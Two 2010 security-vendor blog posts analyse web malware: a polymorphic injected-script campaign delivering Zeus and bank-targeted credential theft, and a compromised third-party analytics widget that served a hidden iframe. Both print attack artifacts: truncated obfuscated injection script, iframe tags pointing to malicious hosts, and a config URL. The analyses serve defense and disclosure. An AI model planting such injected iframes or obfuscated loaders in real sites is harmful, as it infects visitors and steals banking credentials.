Wednesday, June 23, 2010

More Zeus via drive-by, now improved with targeted phishing against banks

By Tufan Demir, Neil Daswani, Rajesh G.

Date first added to infection library: June 8, 2010
Infection library link: http://wam.dasient.com/wam/infection_library/cdc7f46229a8abfcad40538bfe08f1bd

The Zeus botnet has been spreading via drive-by-download since late last year (e.g. http://www.scmagazineus.com/zeus-spreading-through-drive-by-download/article/158691/), but as they say in the security community -- attacks only get better. In such previous cases, the goal of the drive-by-download was singular: have the infected client machine join the Zeus botnet and await further instructions. Dasient's researchers (using data from Dasient's telemetry systems) not only see Zeus malware continue to be distributed via drive-by-download, but such malware also has a second purpose: to distribute targeted phishing kits against the financial sector, including banks such as Citibank and HSBC. After joining the Zeus botnet, an infected machine will start keystroke logging to phish user credentials for banking web sites when the user casually visits bank home pages. In the following, we describe the technical details.

The combined Zeus/phishing kit malware drive-by-download is distributed via the malicious domain gate4ads.info (although other domains have been used as well). The gate4ads.info domain serves a malicious iframe that appears as follows on infected web pages:


<body><script language='javascript' type='text/javascript'>
var oVoid='oVoid'.substring(42997, 42997);
var yWord;
function jArcG(jArcG){return 'jArcG'};
yWord='%6b%60%68%69...


This script appears differently on each infected domain. Here's another example of the script:


<body class="dc-home"><script language='javascript' type='text/javascript'>
this.wordOn=53159;
var cEnvCont;
var pakCon='pakCon'.substring(3674, 3674);
cEnvCont='%bd%bd%bd%bb...


Even though the malicious script is polymorphic, its behavior doesn't change. It creates the following malicious iframe:

<iframe frameborder=0 src='http://gate4ads.info/t/'>

This iframe in turn creates another iframe:

<iframe src='http://itspitsp.com/elleO_o_/index.php?s=[random chars]&[random chars]' width=[random num] height=[random num] frameborder='0'>


The Malware Behavior

The binary that comes down to the user's machine is called updates.exe, and is placed in the temp folder on the user's machine:

http://www.virustotal.com/analisis/af6288cab4f0b0351ffc01a8a8386d476f423f590be47cc85c54850cc6dbf642-1276130170

The binary replaces C:\WINDOWS\system32\sdra64.exe with the new file "updates.exe" and creates a registry entry to enable it to start automatically on reboot. Creating such a registry entry is a common technique that attackers use to make sure their malware always runs even when the user reboots their machine.

This executable attempts to get the PC to join the Zeus botnet.
http://anubis.iseclab.org/?action=result&task_id=176041d5651e7ef84299f5ddb50a8b1f1&format=html

It gets the configuration file from this url:
itspitsp.com/zeusO_o_/conf13.bin

This configuration file is in encrypted format. The virus decrypts it with the key hidden in its body. The decrypted configuration file tells the virus which bank sites to monitor. When the user visits one of the following urls, the virus will intercept the traffic and present a fake webpage to steal user credentials such as account number, user id and password, transaction numbers etc. The stolen information is logged and delivered to a drop site at a later point in time.

The list of banks that are being targeted:

1. http://internetbanking.gad.de/banking/
2. http://hsbc.co.uk
3. http://www.mybank.alliance-leicester.co.uk
4. http://www.citibank.de


Source of Attack

gate4ads. info is registered in Netherlands.

Domain ID:D33147654-LRMS
Domain Name:GATE4ADS.INFO
Created On:01-Jun-2010 04:39:28 UTC
Last Updated On:01-Jun-2010 18:45:48 UTC
Expiration Date:01-Jun-2011 04:39:28 UTC
Sponsoring Registrar:Directi Internet Solutions Pvt. Ltd. dba PublicDomainRegistry.com
(R159-LRMS)
Status:CLIENT TRANSFER PROHIBITED
Status:TRANSFER PROHIBITED
Registrant ID:PP-SP-001
Registrant Name:Domain Admin
Registrant Organization:PrivacyProtect.org
Registrant Street1:P.O. Box 97
Registrant Street2:Note - All Postal Mails Rejected, visit Privacyprotect.org
Registrant Street3:
Registrant City:Moergestel
Registrant State/Province:
Registrant Postal Code:5066 ZH
Registrant Country:NL
Registrant Phone:+45.36946676
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Email:


The domain itspitsp.com resolves to a server hosted in China:

Domain name: itspitsp.com
Status: Active

Protection Status: public
( make contact info private at http://www.now.cn/domain/domainPrivate.php )

Registrant:
Name: itspitsp.com
Address: Volodarskiy
City: undefined
Province/state: IZJEVSK
Country: CN
Postal Code: 519000

Administrative Contact:
Name: itspitsp.com
Organization: itspitsp.com
Address: Volodarskiy
City: undefined
Province/state: IZJEVSK
Country: CN
Postal Code: 519000
Phone: +84.7562425583
Fax: +84.5762425583
Email:


Summary

The gate4ads .info attack is novel in that it propagates a virus with dual purposes: (1) adding end user PCs to the Zeus botnet, and (2) distributing targeted phishing and keystroke logging attacks against the financial sector. Also noteworthy is that the malware infection planted on websites is polymorphic in nature-- the javascript "attack string" injected onto each compromised legitimate website is different than the others. Thus, a signature-based approach for identifying the malware infection on websites would not succeed. Dasient's malware analysis engine, which primarily uses behavioral-based technology, identifies such malware infections every time.

According to Google, the gate4ads .info site was involved in infecting 642 other sites. (http://google.com/safebrowsing/diagnostic?site=gate4ads.info&hl=en). All of these sites, were they leveraging Dasient's Web Anti-Malware (WAM) monitoring and remediation services, would have been able to identify and contain this malware attack prior to getting blacklisted by Google. More importantly, the sites would have been able to protect their users from being infected with the virus that would add their PC to the Zeus botnet and keystroke log their banking passwords.

Financial institutions are specifically at risk from the gate4ads .info attack. If this attack was able to successfully penetrate the website of one of the banks being targeted with the keystroke logging, then all of that bank's users would be at risk for having their credentials stolen. Clearly, this would be a major security breach for the bank, and would allow the attackers to compromise large numbers of user accounts. Also as important, if it was discovered that a bank's website was compromised and was serving malware, this would result in major brand and reputation losses for the bank.

Dasient provides specific services for banks and financial institutions to secure them from web-based malware attacks. For more details, visit http://wam.dasient.com/wam/products_overview.
Posted by at 201 comments:

Friday, June 4, 2010

Third-party JavaScript widget discovered to be infected with malware

Potentially thousands of legitimate websites that embed the widget are serving malware to their users.

Many websites use third-party JavaScript widgets for counting traffic, tracking users, sharing content, displaying video, enabling polls, and providing other user functionality. The use of third-party widgets has enabled rich user functionality and analytics. However, as noted by Jeremiah Grossman in his blog post "Web 2.0 pivot attacks", in a security context, websites that use third-party widgets "essentially allow arbitrary executable code, supplied by a third party, complete access to the web page DOM and the user’s session information." This could, of course, be used to infect the website’s users with malware. Tom Stripling also discusses the dangers of third-party JavaScript widgets, as well as user contributed content.

In a research paper published by Google titled “The Ghost in the Browser,” researchers claimed that third-party widgets were one of the primary vectors of attack for a website to get infected with malware.

We identified a free statistics counter that operated fine for almost four years, “when the nature of the counter changed and instead of cataloging the number of visitors, it started to exploit every user visiting pages linked to the counter… In this particular case, the user visited a completely unrelated web site that was hosting a third-party web counter. The web counter was benign for over four years and then drastically changed behavior to exploit any user visiting the site. This clearly demonstrates that any delegation of web content should only happen when the third party can be trusted.”

Just this past weekend, the Dasient security research team identified a third-party JavaScript widget that was responsible for infecting web users at a large Quantcast 100 website. The third-party widget in question was from a reputable market research and analytics firm, and the widget was used for traffic analysis and audience demographics. (Our team has been in contact with the Quantcast 100 website, and is also reaching out to the widget provider in order to help resolve this problem.)

This third-party JavaScript code was included among a number of other tracking tags present on several thousand URLs of the Quantcast 100 website. The JavaScript code (after being anonymized) is as follows:


// xxxxxx tagging
XXXX.require('//secure-us.xxxxxxxxxxxx.com/xxx.js', function () {
    var trac = nol_t({
        cid: 'xx-xxxxxxx',
        content: '0',
        server: 'secure-us'
    });
    trac.record().post();
});


In turn, http://secure-us.xxxxxxxxxxxx.com/xxx.js served the following complicated JavaScript code:


function NolTracker(b,a){this.pvar=b;this.mergeFeatures(a)}function nol_t(b,a){return new NolTracker(b,a)}NolTracker.prototype.version="6.0.9";NolTracker.prototype.scriptName=(function(){try{var b=document.getElementsByTagName("script");var c=b[b.length-1].getAttribute("src").match(/[^\/]*$/)}catch(a){}return c||"xxx.js"})...


At the end of the complex JavaScript was a malicious iframe sourcing in content from:
http://94. 75. 210. 6/measure/

What is notable about the attack above is that the JavaScript code is so complex, it would be difficult for even a technical person to parse the code quickly and identify the malicious iframe at the end. Furthermore, the attackers have used the pathname "measure" on the malicious domain in an effort to further obfuscate their attack. As a result, a technical person who was investigating the cause of the malware might not pay attention to the iframe; he or she could easily assume that this was part of the legitimate JavaScript code that was measuring user traffic on the website.

The attackers compromised this third-party analytics provider's JavaScript code and embedded the malicious iframe. A quick search on Google for the JavaScript code showed over 19,000 results of websites which contained this provider's analytics code. Thus, the attackers were able to stripe their web-based malware over thousands and thousands of legitimate websites (including multiple Quantcast 100 websites) by infecting the third-party analytics provider's JavaScript code with the malicious iframe.

There is a significant implication for web businesses. The "widgetization" of the web will continue to create opportunities such as the one detailed in this post for attackers to infect legitimate websites with malware. Any third-party code included in a legitimate website can be compromised and exploited to serve malware. In fact, the attackers have an incentive to infect these JavaScript widgets as a way to achieve scale and get "back door access" to popular websites. The concern for web businesses is that, despite all of the security operations and software development practices that they may have in place, there are dependencies on third-parties for rendering functionality on web pages on their site. And a particular web business has no control over the security practices of the third-party partner, which can get compromised, as was evident from the attack described above.

It is unrealistic to believe that web businesses will be able to remove all third-party software and JavaScript code from their websites. The "widgetization" of the web will only accelerate, as the trend towards distributed software development, interactivity, and combining best-of-breed software and widgets continues. Despite a web business having significant preventative security measures in place, its website is vulnerable to serving malware due to the use of third-party JavaScript widgets. Therefore, it is critical that web businesses monitor their websites (and thus their third-party JavaScript widget providers) for malware on a regular basis. An attack where a reputable partner gets compromised and infected with malware could happen any time, and it is important that the web business can respond immediately if such an attack occurs. Otherwise, the web business is at risk of serving malware to its users, which would result in users getting infected with malware; significant losses of brand, reputation, and revenue; and potential liability issues. Companies can use Dasient's Web Anti-Malware (WAM) monitoring service to defend their websites against the prospect of third-party widgets getting infected with malware.
Posted by at 195 comments:
Subscribe to: Posts (Atom)